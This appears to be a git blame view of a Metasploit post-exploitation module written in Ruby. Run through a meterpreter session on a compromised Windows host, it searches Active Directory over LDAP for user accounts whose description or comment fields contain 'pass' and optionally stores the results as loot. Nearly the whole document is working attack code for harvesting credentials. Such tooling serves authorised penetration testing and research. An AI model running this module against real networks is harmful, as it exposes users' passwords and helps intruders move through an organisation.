Files
metasploit-gs/modules/post/windows/gather/enum_ad_user_comments.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

84 lines
2.5 KiB
Ruby
Raw Normal View History

2013-11-07 20:48:15 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-11-07 20:48:15 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2013-11-07 20:48:15 +00:00
include Msf::Auxiliary::Report
2013-11-23 22:07:07 +00:00
include Msf::Post::Windows::LDAP
2013-11-07 20:48:15 +00:00
2023-02-08 13:47:34 +00:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Active Directory User Comments',
'Description' => %q{
This module will enumerate user accounts in the default Active Domain (AD) directory which
2023-02-08 13:47:34 +00:00
contain 'pass' in their description or comment (case-insensitive) by default. In some cases,
such users have their passwords specified in these fields.
2013-11-07 20:48:15 +00:00
},
2023-02-08 13:47:34 +00:00
'License' => MSF_LICENSE,
'Author' => [ 'Ben Campbell' ],
'Platform' => [ 'win' ],
2013-11-07 20:48:15 +00:00
'SessionTypes' => [ 'meterpreter' ],
2023-02-08 13:47:34 +00:00
'References' => [
2013-11-07 20:48:15 +00:00
['URL', 'http://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx'],
]
2023-02-08 13:47:34 +00:00
)
)
2013-11-07 20:48:15 +00:00
register_options([
OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]),
2023-02-08 13:47:34 +00:00
OptString.new('FIELDS', [true, 'Fields to retrieve.', 'userPrincipalName,sAMAccountName,userAccountControl,comment,description']),
OptString.new('FILTER', [true, 'Search filter.', '(&(&(objectCategory=person)(objectClass=user))(|(description=*pass*)(comment=*pass*)))']),
])
2013-11-07 20:48:15 +00:00
end
def run
2023-02-08 13:47:34 +00:00
fields = datastore['FIELDS'].gsub(/\s+/, '').split(',')
2013-11-07 20:48:15 +00:00
search_filter = datastore['FILTER']
2013-12-20 13:18:01 +00:00
max_search = datastore['MAX_SEARCH']
2013-11-07 20:48:15 +00:00
2014-02-07 12:16:15 -06:00
begin
q = query(search_filter, max_search, fields)
2023-02-08 13:47:34 +00:00
if q.nil? || q[:results].empty?
2014-02-07 12:16:15 -06:00
return
end
2014-02-12 15:08:20 -06:00
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
# Can't bind or in a network w/ limited accounts
print_error(e.message)
return
2013-11-07 20:48:15 +00:00
end
# Results table holds raw string data
2016-08-10 13:30:09 -05:00
results_table = Rex::Text::Table.new(
2023-02-08 13:47:34 +00:00
'Header' => 'Domain Users',
'Indent' => 1,
'SortIndex' => -1,
'Columns' => fields
)
2013-11-07 20:48:15 +00:00
2013-12-20 13:18:01 +00:00
q[:results].each do |result|
2013-11-07 20:48:15 +00:00
row = []
2013-12-20 13:18:01 +00:00
result.each do |field|
2014-12-13 18:13:36 +00:00
if field[:value].nil?
2023-02-08 13:47:34 +00:00
row << ''
2013-11-07 20:48:15 +00:00
else
2014-12-13 18:13:36 +00:00
row << field[:value]
2013-11-07 20:48:15 +00:00
end
end
results_table << row
end
print_line results_table.to_s
2013-12-20 13:18:01 +00:00
2013-11-07 20:48:15 +00:00
if datastore['STORE_LOOT']
stored_path = store_loot('ad.users', 'text/plain', session, results_table.to_csv)
2017-07-19 13:02:49 +01:00
print_good("Results saved to: #{stored_path}")
2013-11-07 20:48:15 +00:00
end
end
end